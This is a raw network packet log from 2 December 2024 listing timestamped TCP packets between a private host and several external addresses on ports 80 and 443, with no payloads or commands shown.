Dec 2, 2024 11:20:10.044161081 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.044275045 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.052597046 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.052781105 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.052869081 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.052936077 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.052973986 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.053113937 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.053252935 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.053288937 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.053461075 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.053467989 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.053513050 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.053538084 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.053693056 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.053776979 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.053960085 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.054011106 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.054059982 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.054131031 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.054300070 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.054327965 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.054514885 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.054555893 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.054780960 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.054800034 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.054841042 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.054964066 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.055002928 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.055073023 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.055093050 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.055336952 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:12.132800102 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.132826090 CET	443	49725	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.133058071 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.133332014 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.133351088 CET	443	49725	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.449564934 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.449620962 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.449811935 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.450154066 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.450191975 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.514961958 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.515032053 CET	443	49727	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.515254974 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.516108990 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.516151905 CET	443	49727	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.527481079 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.527507067 CET	443	49728	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.527676105 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.528593063 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.528613091 CET	443	49728	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.684250116 CET	443	49725	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.684808969 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.684860945 CET	443	49725	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.688914061 CET	443	49725	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.689146996 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.691720009 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.691845894 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.692086935 CET	443	49725	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.741134882 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.741218090 CET	443	49725	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.787838936 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.985685110 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.986160040 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.986212015 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.990374088 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:12.990632057 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.990901947 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.990942955 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:12.991275072 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.014549971 CET	443	49725	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.014911890 CET	443	49725	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.015152931 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.015664101 CET	49725	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.015717983 CET	443	49725	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.044912100 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.044961929 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.051035881 CET	443	49727	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.051466942 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.051518917 CET	443	49727	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.055640936 CET	443	49727	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.055912971 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.056190014 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.056245089 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.056551933 CET	443	49727	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.065035105 CET	443	49728	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.065474987 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.065531969 CET	443	49728	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.069605112 CET	443	49728	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.069875956 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.070152044 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.070522070 CET	443	49728	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.099515915 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.099571943 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.099623919 CET	443	49727	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.117108107 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.117161989 CET	443	49728	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.148365974 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.164017916 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.346836090 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.347187042 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.347218037 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.347404957 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.347413063 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.347469091 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.347589016 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.347600937 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.347807884 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.347816944 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.358031988 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.358272076 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.358283043 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.363914967 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.364176989 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.364188910 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.402626038 CET	443	49727	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.402697086 CET	443	49727	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.402930975 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.403347015 CET	49727	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.403359890 CET	443	49727	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.413954973 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.425430059 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:13.425673008 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:13.503845930 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.509617090 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.509691000 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.509795904 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.509820938 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.509991884 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.521142006 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.532368898 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.532563925 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.532691956 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.532726049 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.532934904 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.543876886 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.554640055 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.554711103 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.554909945 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.554949045 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.555139065 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.565139055 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.575807095 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.575925112 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.576066017 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.576107979 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.576361895 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.586190939 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.596976042 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.597048998 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.597244978 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.597282887 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.597587109 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.607536077 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.618148088 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.618375063 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.618416071 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.661401033 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.661731958 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.661770105 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.665767908 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.666062117 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.666102886 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.675497055 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.675679922 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.675718069 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.684751987 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.684936047 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.684982061 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.692281008 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.692472935 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.692511082 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.701035976 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.701225996 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.701263905 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.709342003 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.709516048 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.709547997 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.717746019 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.718020916 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.718058109 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.726283073 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.726531982 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.726576090 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.734707117 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.734782934 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.734976053 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.735013962 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.735167027 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.743247032 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.751597881 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.751738071 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.751823902 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.751869917 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.752042055 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.760174990 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.768548965 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.768655062 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.768821001 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.768860102 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.769037008 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.777321100 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.785655022 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.785782099 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.785917044 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.785957098 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.786159992 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.793711901 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.801309109 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.801554918 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.801562071 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.801603079 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.801820040 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.808923006 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.816651106 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.816751003 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.816910028 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.816956043 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.817240953 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.824381113 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.829668999 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.829770088 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.829943895 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.829986095 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.830174923 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.834036112 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.838418007 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.838623047 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.838641882 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.838663101 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.838934898 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.843127012 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.847610950 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.847850084 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.847882032 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.847922087 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.848129034 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.852159023 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.856692076 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.856781960 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.856956005 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.856996059 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.857187986 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.861170053 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.865726948 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.865823984 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.865998030 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.866036892 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.866291046 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.870240927 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.874428988 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.874524117 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.874753952 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.874795914 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.875027895 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.878665924 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.883254051 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.883351088 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.883476019 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.883516073 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.883699894 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.887484074 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.891778946 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.891897917 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.892040014 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.892080069 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.892263889 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.895767927 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.895903111 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:13.896035910 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.896153927 CET	49726	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:13.896193981 CET	443	49726	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:14.259715080 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:14.259764910 CET	443	49728	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:14.259870052 CET	443	49728	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:14.259964943 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:14.260014057 CET	49728	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:15.934402943 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:15.934442043 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:15.934600115 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:15.934916019 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:15.934948921 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.191859007 CET	49736	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:16.191915035 CET	443	49736	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:16.192147017 CET	49736	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:16.192487955 CET	49736	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:16.192527056 CET	443	49736	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:16.482481003 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.482786894 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.482827902 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.485569000 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.485821962 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.486413002 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.486507893 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.486682892 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.540119886 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.540163994 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.586956024 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.745837927 CET	443	49736	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:16.746340036 CET	49736	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:16.746378899 CET	443	49736	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:16.749113083 CET	443	49736	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:16.749332905 CET	49736	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:16.750039101 CET	49736	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:16.750300884 CET	443	49736	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:16.790024042 CET	49736	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:16.790060997 CET	443	49736	142.250.69.4	192.168.11.20
Dec 2, 2024 11:20:16.809684038 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.809777021 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.809847116 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.809943914 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.809988022 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.810029030 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.810137987 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.810281038 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.810411930 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.810477018 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.810518980 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.810672045 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.820900917 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.832710028 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.832981110 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.833025932 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.836441040 CET	49736	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:16.886426926 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.967437029 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.973203897 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.973290920 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.973476887 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.973520994 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.973704100 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.984606981 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.995861053 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.995950937 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.996047020 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:16.996089935 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:16.996263027 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.007467031 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.018717051 CET	443	49735	192.178.49.206	192.168.11.20
